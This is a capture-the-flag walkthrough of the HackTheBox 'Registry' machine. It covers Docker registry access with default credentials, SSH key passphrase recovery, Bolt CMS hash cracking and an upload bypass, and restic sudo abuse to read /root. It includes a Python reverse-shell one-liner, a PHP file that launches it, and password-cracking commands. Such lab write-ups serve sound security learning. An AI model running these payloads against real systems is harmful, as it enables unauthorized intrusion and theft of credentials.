HackTheBox - Registry

— Written by — 20 min read
registry-hackthebox

Registry just retired on HackTheBox. It was my first hard box and was pretty interesting with real-life scenario like I love. This box shows the importance of understanding how things works “behind the scene” and to read all documentations carefully to not miss anything. I recommend this box for people who finished few medium difficulty boxes and wants to level-up.

Tl;Dr: The user flag consisted in finding an INSTALL archive containing install instruction and certificate to deploy an online docker registry, this certificate was used on the docker registry running on the box. Using this cert we could connect to the registry API and pull the docker image available on it. Running the docker image locally and doing recon into it allows to find an SSH key along with its passphrase. This key would allow to connect to the bolt user account and grab the user flag.
The root flag required to access a CMS after brute-forcing the admin password found in a sqlite database. From the CMS we pivot from the bolt user to www-data user by exploiting insecure file upload vulnerability. From www-data a backup software - restic - can be run as sudo without password. Using this software we are able to backup the whole /root/ folder and restore its content with read privileges for www-data including the root.txt flag and a .ssh/id_rsa key allowing us to get a full shell as root.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the host file:

1
[[email protected] ~]$ echo "10.10.10.171 registry.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[[email protected] ~]$ nmap -sV -sT -sC registry.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-27 10:58 CET
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after: 2029-05-03T21:14:35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80, 443 and 22 are open.

One interesting point, the SSL certificate have docker.registry.htb as common Name. Let’s add it to our host file as it can be useful later:

1
[[email protected] ~]$ echo "10.10.10.159 docker.registry.htb" >> /etc/hosts

Opening http://regirstry.htb display the default nginx page:

default nginx page

While http://docker.registry.htb return empty response:

1
2
3
4
5
6
7
8
9
[[email protected] ~]$ curl -i http://docker.registry.htb/
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Length: 0
Connection: keep-alive
Cache-Control: no-cache
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff

That’s not much informations here… Let’s run gobuster to see if we can find more interesting stuff:

1
2
3
4
5
6
7
8
9
10
[[email protected] ~]$ gobuster dir -u "https://registry.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php -k 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/.bash_history (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/install (Status: 301)
/backup.php

The backup endpoint must be used as a script to do…well…backups. It doesn’t return anything either:

1
2
3
4
5
6
7
8
9
10
[[email protected] ~]$ curl -i registry.htb/backup.php                            
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Fri, 07 Feb 2020 14:33:30 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff

Next, opening the install endpoint shows some garbage:

install file garbage

Since we don’t have other endpoint so far let’s investigate a bit more on this last one. First let’s download this page to file:

1
2
3
4
5
[[email protected] ~]$ wget http://registry.htb/install
Saving to: ‘install’
2020-01-29 15:54:07 (53.3 MB/s) - ‘install’ saved [1050]
[[email protected] ~]$ file install
install: gzip compressed data, last modified: Mon Jul 29 23:38:20 2019, from Unix, original size modulo 2^32 167772200 gzip compressed data, reserved method, has CRC, was "", from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 167772200

That’s interesting, the file utility indicate that the install file is a gzip archive. Let’s try to extract it. Out of habit I used tar:

1
2
3
4
5
[[email protected] ~]$ tar -xzf install

gzip: stdin: unexpected end of file
tar: Child returned status 1
tar: Error is not recoverable: exiting now

Despite this bad looking error the files seems to have been extracted properly so that’s good:

1
2
[[email protected] ~]$ ls -a
. .. ca.crt install readme.md

Note: Another way to access archive content when the archive seems corrupted it to use zcat:

1
2
3
4
5
6
7
8
9
10
11
12
[[email protected] ~]$ zcat install
ca.crt0000775000004100000410000000210613464123607012215 0ustar www-datawww-data-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAIFtFmFVTwEtMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
[...]
QMPjq1S5SqXJqzop4OnthgWlwggSe/6z8ZTuDjdNIpx0tF77arh2rUOIXKIerx5B
-----END CERTIFICATE-----
readme.md0000775000004100000410000000020113472260460012667 0ustar www-datawww-data# Private Docker Registry

- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/

gzip: install: unexpected end of file

So we got two files unzipped, a certificate ca.crt and a readme file readme.md:

1
2
3
4
5
6
7
8
9
10
11
[[email protected] ~]$ cat ca.crt
-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAIFtFmFVTwEtMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
[...]
QMPjq1S5SqXJqzop4OnthgWlwggSe/6z8ZTuDjdNIpx0tF77arh2rUOIXKIerx5B
-----END CERTIFICATE-----
[[email protected] ~]$ cat readme.md
# Private Docker Registry

- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/

The readme links to two pieces of documentation:

  1. Deployment of a private docker registry.

  2. Verifying repository client with certificates

These documentation make sense of what we found so far, docker.registry.htb is probably the API of a private docker registry, while the ca.crt might be used to connect to the registry securely.

Docker Registry

Now that we have an idea of what’s going on docker.registry.htb let’s make a bit of recon to see what we can do with this instance. First let’s run gobuster to see if we can find useful endpoints:

1
2
3
4
5
6
[[email protected] ~]$ gobuster dir -u "https://docker.registry.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php -k
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/v2 (Status: 301)

This /v2 endpoint confirms we are looking at an API. Let’s continue:

1
2
3
4
5
6
7
8
9
10
11
[[email protected] ~]$ curl -i docker.registry.htb/v2/
HTTP/1.1 401 Unauthorized
Server: nginx/1.14.0 (Ubuntu)
Content-Type: application/json; charset=utf-8
Content-Length: 87
Connection: keep-alive
Docker-Distribution-Api-Version: registry/2.0
Www-Authenticate: Basic realm="Registry"
X-Content-Type-Options: nosniff

{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":null}]}

Searching for this error redirect us to the valuable Docker Registry API documentation which will probably be super useful soon:

If a 401 Unauthorized response is returned, the client should take action based on the contents of the “WWW-Authenticate” header and try the endpoint again. Depending on access control setup, the client may still have to authenticate against different resources, even if this check succeeds.

Www-Authenticate that got returned to us indicate we have to authenticate through a Basic authentication method. We didn’t find any username or password yet so… let’s try the classic admin:admin?

1
2
3
4
5
6
7
8
9
10
11
12
13
[[email protected] ~]$ curl -i -u admin:admin docker.registry.htb/v2/
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: application/json; charset=utf-8
Content-Length: 2
Connection: keep-alive
Docker-Distribution-Api-Version: registry/2.0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff

{}%

Alright! We have access to the Docker API Registry, the next logical step is to see if any docker image is stored on this registry. According to the documentation we can do so using the _catalog endpoint:

Images are stored in collections, known as a repository, which is keyed by a name, as seen throughout the API specification. A registry instance may
contain several repositories. The list of available repositories is made
available through the catalog.

1
2
[[email protected] ~]$ curl -u admin:admin http://docker.registry.htb/v2/_catalog
{"repositories":["bolt-image"]}

Great there is indeed an image, let’s pull it to investigate its content:

1
2
3
[[email protected] ~]$ docker pull docker.registry.htb/bolt-image
Using default tag: latest
Error response from daemon: Get https://docker.registry.htb/v2/: x509: certificate signed by unknown authority

New error, certificate error…

Remember we found a documentation link and a certificate in the install archive? Let’s take a look, the solution is surely inside:

A custom certificate is configured by creating a directory under /etc/docker/certs.d using the same name as the registry’s hostname, such as localhost. All *.crt files are added to this directory as CA roots.

Let’s do this with the certificate we got in install archive:

1
2
3
4
5
6
7
[[email protected] ~]$ sudo mkdir -p /etc/docker/certs.d/docker.registry.htb

[[email protected] ~]$ sudo mv ca.crt /etc/docker/certs.d/docker.registry.htb/ca.crt

[[email protected] ~]$ docker pull docker.registry.htb/bolt-image
Using default tag: latest
Error response from daemon: Get https://docker.registry.htb/v2/bolt-image/manifests/latest: no basic auth credentials

We are getting closer! Let’s login to the docker using the admin:admin credentials:

1
2
3
4
5
6
7
[[email protected] ~]$ docker login -u admin -p admin http://docker.registry.htb
WARNING! Using --password via the CLI is insecure. Use --password-stdin.
WARNING! Your password will be stored unencrypted in /home/hg8/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store

Login Succeeded

Everything should now be in order, let’s pull this damn image:

1
2
3
4
5
6
7
8
9
10
11
12
[[email protected] ~]$ docker pull docker.registry.htb/bolt-image
Using default tag: latest
latest: Pulling from bolt-image
f476d66f5408: Pull complete
302bfcb3f10c: Pull complete
Digest: sha256:eeff225e5fae33dc832c3f82fd8b0db363a73eac4f0f0cb587094be54050539b
Status: Downloaded newer image for docker.registry.htb/bolt-image:latest
docker.registry.htb/bolt-image:latest

[[email protected] ~]$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
docker.registry.htb/bolt-image latest 601499e98a60 8 months ago 362MB

Looks all good now! We pulled the image and it can be ran locally. We can now start it and get a shell inside, so we can recon for interesting files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[[email protected] ~]$ docker run -it 601499e98a60 /bin/bash

[email protected]:/# cd /root
[email protected]:~# ls -la
total 28
drwx------ 1 root root 4096 Jan 27 13:14 .
drwxr-xr-x 1 root root 4096 Jan 27 13:08 ..
lrwxrwxrwx 1 root root 9 May 25 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
-rw-r--r-- 1 root root 148 May 25 2019 .profile
drwxr-xr-x 2 root root 4096 May 25 2019 .ssh
-rw------- 1 root root 1061 May 25 2019 .viminfo
-rw-r--r-- 1 root root 215 Jan 27 13:14 .wget-hsts
[email protected]:~# ls -a .ssh/
. .. config id_rsa id_rsa.pub known_hosts
[email protected]:~# cat .ssh/config
Host registry
User bolt
Port 22
Hostname registry.htb
[email protected]:~# cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,1C98FA248505F287CCC597A59CF83AB9

KF9YHXRjDZ35Q9ybzkhcUNKF8DSZ+aNLYXPL3kgdqlUqwfpqpbVdHbMeDk7qbS7w
[...]
94Vcvj5Kmzv0FxwVu4epWNkLTZCJPBszTKiaEWWS+OLDh7lrcmm+GP54MsLBWVpr
-----END RSA PRIVATE KEY-----

We have an.ssh/ folder with private key and a username bolt for registry.htb host. Looks a little too easy but let’s give a try:

1
2
[[email protected] ~]$ ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa':

Of course it was too easy, the key need a passphrase and we didn’t find any yet… In these situations I usually try to run john to quickly brute-force the passphrase:

1
2
3
4
5
6
[[email protected] ~]$ ssh2john id_rsa > id_rsa.hash
[[email protected] ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:18 DONE (2020-01-31 15:29) 0g/s 792796p/s 792796c/s 792796C/s
Session completed

No luck here. To be honest it took me too much time to find this passphrase but, as usual, recon is always the key to progress and finally:

1
2
3
4
5
6
7
8
9
10
11
[email protected]:/# grep -ri "passphrase" 2>/dev/null
[...]
etc/profile.d/01-ssh.sh:expect "Enter passphrase for /root/.ssh/id_rsa:"
[email protected]:/# cat etc/profile.d/01-ssh.sh
#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interact

ssh-add is a command for adding SSH private keys into the SSH authentication agent for implementing single sign-on with SSH.

As a reminder:

/etc/profile
The systemwide initialization file, executed for login shells

When looking in the /etc/profile we can see that all scripts in /etc/profile.d/ are executed on login time:

1
2
3
4
5
6
7
8
9
10
[email protected]:/# cat /etc/profile
[...]
if [ -d /etc/profile.d ]; then
for i in /etc/profile.d/*.sh; do
if [ -r $i ]; then
. $i
fi
done
unset i
fi

We now understand why this ssh-add command is made on login, the combination of ssh-agent and ssh-add allow the user to connect to any server he is allowed to access without having to type in a password every time when moving between servers.

Well now that we have all the needed informations, let’s try to login to SSH again:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[[email protected] ~]$ ssh -i id_rsa [email protected]
Enter passphrase for key './id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

System information as of Mon Jan 27 14:42:39 UTC 2020

System load: 0.02 Users logged in: 0
Usage of /: 5.6% of 61.80GB IP address for eth0: 10.10.10.159
Memory usage: 21% IP address for br-1bad9bd75d17: 172.18.0.1
Swap usage: 0% IP address for docker0: 172.17.0.1
Processes: 154
Last login: Mon Oct 21 10:31:48 2019 from 10.10.14.2
[email protected]:~$ ls
user.txt
[email protected]:~$ cat user.txt
yxxxxxxxxxxxxxxxxxxxxxxxxxi

Root Flag

Alright! Now that we have access to bolt account. It’s time to escalate it to root.

Recon

The usual quick recon shows that bolt user doesn’t seems to hold anything very valuable. Let’s investigate the /var/www/html/ directory to take a look at this backup.php file we found during the user recon phase:

1
2
[email protected]:/$ cat /var/www/backup.php
<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");

Alright so this php file is calling an external command to make backup it seems. The interesting point here is that the command is launched as root using sudo. That mean if we can find a flaw in the command we can very probably elevate our privileges to root.

Unfortunately as bolt user we can not run this command without inputting password. Seeing the backup.php file we can guess with good confidence that sudo have been configured to allow the Apache user (www-data) to run the sudo backup command without inputing password. This way the backup.php script can be run automatically through cronjob for example.

So now we need to find a way to pivot to www-data user to exploit this backup script. Let’s investigate.

Pivot bolt -> www-data

While looking in the /var/www/html/ directory we find a bolt/ folder. This one was missed by gobuster during our recon phase.

So what’s this bolt?
Opening https://registry.htb/bolt display an empty sample website:

bolt sample website

A quick Google search gives us additional information about what Bolt is:

Bolt is a free, open-source content management system based on PHP. It was released in 2012 and developed by Two Kings and the Bolt community. Bolt uses Twig for templates and includes features for content and user management.
Bolt.cm

I will add it to my usual recon list to make sure not missing it next time:

1
[[email protected] ~]$ echo bolt >> ~/SecLists/Discovery/Web-Content/big.txt

Reading through the documentation we can see that the admin interface is available at https://registry.htb/bolt/bolt :

bolt admin page

No common password combination seems to work here. No need to loose time brute-forcing, since we have access the app code source through the bolt ssh user account let’s dig a bit there to see if we can find any interesting config files.

Looking around we quickly stumble across bolt sqli database in /var/www/html/bolt/database/bolt.db.

Let’s take a look inside for juicy information:

1
2
3
4
5
6
7
8
9
10
11
[[email protected] ~]$ sqlite3 bolt.db
SQLite version 3.30.1 2019-10-10 20:19:45
Enter ".help" for usage hints.
sqlite> .tables
bolt_authtoken bolt_field_value bolt_pages bolt_users
bolt_blocks bolt_homepage bolt_relations
bolt_cron bolt_log_change bolt_showcases
bolt_entries bolt_log_system bolt_taxonomy
sqlite> SELECT * FROM bolt_users;
1|admin|$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK|[email protected]|2019-10-17 14:34:52|10.10.14.2|Admin|["files://shell.php"]|1||||0||["root","everyone"]
sqlite>

The first thing that catch the attention is this bolt_users table. Inside we grab the password hash of user Admin.

Let’s try to crack it using john:

1
2
3
4
5
6
7
8
9
10
11
12
[[email protected] ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt admin.hash
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
strawberry (?)
1g 0:00:00:09 DONE (2020-01-27 16:03) 0.1072g/s 36.69p/s 36.69c/s 36.69C/s strawberry..ihateyou
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Bingo! So, we got Admin:strawberry, using those credentials in the admin login page works.

bolt admin dashboard

Looking around at the various settings we quickly come across the “File Management” setting, allowing us to upload file to the server. Sounds good to upload a web shell don’t you think?

First thing to try is to send a .php file to see if we can execute php on the server:

1
echo "<?php phpinfo();" > test.php

Unfortunately when trying to upload we receive the following error message:

bolt upload failure

No php allowed. At this point I tried various way to bypass the file upload restrictions:

  • Changing extension (test.PHp, test.php7 since server runs PHP7)
  • Content-type bypass
  • Double extension (test.php.jpg, test.jpg.php)
  • Null Character (test.php%00.jpg)
  • Using GIF89a; header

But didn’t managed to get any of this to work. Searching a bit farther we discover that it’s possible to change the allowed extension list in “Configuration/Main Configuration”. Even though a comment state .php extension are “never acceptable”, adding it to the list seems to work and let us upload php file:

1
2
3
4
# Note that certain file-types are never acceptable, even if they are in this list. 
# These types are never allowed: sh, asp, cgi, php, php3, ph3, php4, ph4, php5, ph5,
# phtm, phtml
accept_file_types: [ php, twig, html, js, css, scss, gif, jpg, jpeg, png, ico, zip, tgz, txt, md, doc, docx, pdf, epub, xls, xlsx, ppt, pptx, mp3, ogg, wav, m4a, mp4, m4v, ogv, wmv, avi, webm, svg]

bolt php file upload

The php file is now accessible at https://registry.htb/bolt/files/hg8.php:

bolt php file upload

Good, we are on the right track to upload a web shell. Unfortunately it’s not that simple, the uploaded files gets deleted and configuration file reset every 1 minute or so, making it impossible to use a web shell. The good news is we do have an access to the server on ssh as bolt user, here is how we can proceed to get a stable shell:

  1. Create a reverse shell script with the bolt account on the server /tmp folder.
  2. Upload a .php file executing this script.

This way we get a reverse that will be executed as www-data and will stay up even after the .php file gets deleted. Here is one way to do so:

First let’s create the reverse shell script. I will use Python one:

1
2
3
4
[email protected]:/$ cat /tmp/hg8.py
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",8585));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[email protected]:/$ which python
/usr/bin/python

Now our php file calling this hg8.py reverse shell:

1
[[email protected] ~]$ echo '<?php shell_exec("/usr/bin/python /tmp/hg8.py"); ?>' > hg8.php

Finally let’s open our listener:

1
2
[[email protected] ~]$ nc -l -vv -p 8585
Listening on any address 8585

And let’s redo the process, edit the configuration to allow .php upload, upload the hg8.php file and open it!

If everything goes fine and you have been fast enough the connection will open. But it doesn’t… The connection just seem to hang.

The first thing that comes to mind is that a firewall is blocking any connection from outside. Since we have an access on the machine let’s try to open our listener here instead:

1
2
[email protected]:/$ nc -l -vv -p 8585
Listening on [0.0.0.0] (family 0, port 8585)

Let’s now recreate our python reverse shell with registry IP, reupload and run our hg8.php and….

1
2
3
4
5
[email protected]:/$ nc -l -vv -p 8585
Listening on [0.0.0.0] (family 0, port 8585)
Connection from localhost 48396 received!
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Alright, we now have access to www-data account. That’s a good progress. Let’s now try to find if and how we could escalate to root privilege.

While doing the usual recon for privilege escalation, we stumble across the backup command we have seem before:

1
2
3
4
5
6
7
[email protected]:/$ sudo -l
Matching Defaults entries for www-data on bolt:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bolt:
(root) NOPASSWD: /usr/bin/restic backup -r rest*

It’s the restic command we saw in the /var/www/html/backup.php file:

1
2
[email protected]:/var/www/html$ cat /var/www/html/backup.php
<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");

Let’s check for the documentation of restic to understand better how it works. According to its website:

restic is a backup program that is fast, efficient and secure. It supports the three major operating systems
https://restic.net/

So we have a program that can be run as root manipulating files we can control. Sounds like a perfect scenario for privilege escalation ;)

Let’s break down the restic command from backup.php to understand exactly what’s it’s doing :

1
2
3
4
5
6
[email protected]:/$ restic --help
[...]
backup Create a new backup of files and/or directories
[email protected]:/$ restic backup --help
[...]
-r, --repo string repository to backup to or restore from (default: $RESTIC_REPOSITORY)

Alright so if we take this command as example:

1
restic backup -r rest:http://backup.registry.htb/bolt bolt

restic is going to back up the bolt folder to the distant repository available at http://backup.registry.htb.

Looking around it seems we can not access nor do anything at http://backup.registry.htb. But anyway what lays there ? According to the restic documentation it’s the url of a restic remote repository. Reading a bit more we can find a tool (restic-rest-server) to create those remote repositories:

Rest Server is a high performance HTTP server that implements restic’s REST backend API. It provides secure and efficient way to backup data remotely, using restic backup client via the rest: URL.
https://restic.readthedocs.io/en/latest/030_preparing_a_new_repo.html#rest-server

Seeing this we can understand it’s what is being used on http://backup.registry.htb.

With all those information in mind we start to understand how we could read files with escalated privileges:

  1. Setup a local restic backup server
  2. Use the following command that www-data can run as sudo without password:
1
/usr/bin/restic backup -r rest:http://our-restic-repo.local /root/
  1. Navigate to the /root/ folder that restic backup to grab the flag.

It’s not yet a root shell but it should be good enough to grab the root.txt flag.

Alright so that was the idea, let’s see in practice now!

Restic privileged file read

First thing first let’s build the restic rest-server binary:

1
2
[[email protected] ~]$ git clone https://github.com/restic/rest-server.git && cd rest-server
[[email protected] ~]$ go run build.go

Let’s now push the binary to the server:

1
[[email protected] ~]$ scp -i id_rsa rest-server [email protected]:/tmp/

We can now check the documentation to understand how to run it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[email protected]:/tmp/$ ./rest-server --help
Run a REST server for use with restic

Usage:
rest-server [flags]

Flags:
--append-only enable append only mode
--cpu-profile string write CPU profile to file
--debug output debug messages
-h, --help help for rest-server
--listen string listen address (default ":8000")
--log string log HTTP requests in the combined log format
--no-auth disable .htpasswd authentication
--path string data directory (default "/tmp/restic")
--private-repos users can only access their private repo
--prometheus enable Prometheus metrics
--tls turn on TLS support
--tls-cert string TLS certificate path
--tls-key string TLS key path
-V, --version show version and quit

We have all the needed informations so let’s give a try here. First, still according to the documentation, we need to setup the repository folder :

1
2
3
4
5
6
7
8
[email protected]:/$ restic init --repo /tmp/hg8-backup
enter password for new repository:
enter password again:
created restic repository 14de0bc276 at /tmp/hg8-backup

Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.

Now we can start the rest-server with this backup path:

1
2
3
4
5
[email protected]:/tmp/$ ./rest-server --path ./hg8-backup --no-auth
Data directory: ./registrybackup
Authentication disabled
Private repositories disabled
Starting server on :8000

Sounds all good for the repository! Let’s now try to backup the /root/ folder to our backup repository using the sudo command we are allowed to run without password:

1
2
3
4
5
6
7
[email protected]:/$ sudo /usr/bin/restic backup -r rest:http://localhost:8000 /root
enter password for repository:
password is correct
scanned 10 directories, 14 files in 0:00
[0:00] 100.00% 28.066 KiB / 28.066 KiB 24 / 24 items 0 errors ETA 0:00
duration: 0:00
snapshot 0547cce5 saved

0 errors that’s good! Now it’s time to access the file we just backup:

1
2
3
4
5
6
7
8
9
10
11
12
13
[email protected]:/$  restic -r /tmp/hg8-backup/ snapshots
enter password for repository:
password is correct
ID Date Host Tags Directory
----------------------------------------------------------------------
0547cce5 2020-01-28 11:51:15 bolt /root
----------------------------------------------------------------------
9 snapshots

[email protected]:/$ restic -r /tmp/hg8-backup/ restore 0547cce5 --target /tmp/restored-root
enter password for repository:
password is correct
restoring <Snapshot 0547cce5 of [/root] at 2020-01-28 11:51:15.656860319 +0000 UTC by [email protected]> to /tmp/restored-root

All that remains to do now is retrieving our flag:

1
2
[email protected]:/tmp$ cat /tmp/restored-root/root/root.txt
ntxxxxxxxxxxxxxxxxxxxxxxxxxxxgw

Looking around we can even find the root account private ssh key and use it to obtain a root shell:

1
2
3
4
5
6
7
8
9
10
11
12
[email protected]:/$ ssh -i /tmp/restored-root/root/.ssh/id_rsa [email protected]
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

System information as of Tue Jan 28 11:55:43 UTC 2020

System load: 0.0 Users logged in: 1
Usage of /: 5.6% of 61.80GB IP address for eth0: 10.10.10.159
Memory usage: 26% IP address for docker0: 172.17.0.1
Swap usage: 0% IP address for br-1bad9bd75d17: 172.18.0.1
Processes: 173
Last login: Mon Oct 21 09:53:48 2019
[email protected]:~#

As always do not hesitate to contact me for any questions or feedbacks :)

See you next time !

-hg8



CTFHackTheBoxHard Box
, , , , , , , , ,